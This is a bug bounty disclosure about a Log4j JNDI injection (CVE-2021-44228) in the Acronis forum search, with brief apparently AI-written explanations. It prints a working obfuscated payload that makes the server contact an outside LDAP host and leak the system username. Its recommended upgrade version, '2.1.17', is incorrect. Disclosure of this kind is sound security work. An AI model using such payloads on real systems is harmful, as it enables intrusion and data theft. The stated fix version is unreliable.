[forum.acronis.com] JNDI Code Injection due an outdated log4j component
The forum search function used an outdated Log4j component vulnerable to JNDI injection, allowing an authenticated user to trigger remote code execution. The attacker could exfiltrate system information to a controlled server.
- Triaged in 2 days
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 2.7 years
Summary
Hi team,
It seems that the machine is affected by the latest CVE-2021-44228 which grants any authenticated user command execution. The vulnerability affects the remote asset forum.acronis.com and this issue allows to remote attackers to perfom Remote Code Execution via JNDI exfiltration.
Steps To Reproduce
Vulnerable request is: https://forum.acronis.com/search?s=${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-04363f1f3427b48.test3.ggdd.co.uk/}.
Which generates a pingback exfiltrating the information to my controlled server ggdd.co.uk:

We can see that the system username is solr.
Recommendations
Upgrade Log4j to latest version, 2.1.17.
Impact
Remote OS command injection via JNDI queries.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Remote OS command injection via JNDI queries could allow an attacker to execute commands on the server.
What the attacker needed
Authenticated user; network access to forum
The fix
Upgrade Log4j to the latest version, 2.1.17.
How it was found
- Send a crafted search request containing a JNDI lookup string.
- Observe a pingback to the attacker-controlled server.
- Extract the system username from the pingback.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library used by many Java applications. An outdated version allowed attackers to inject special strings that made the server connect to an external address, which could lead to running commands on the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.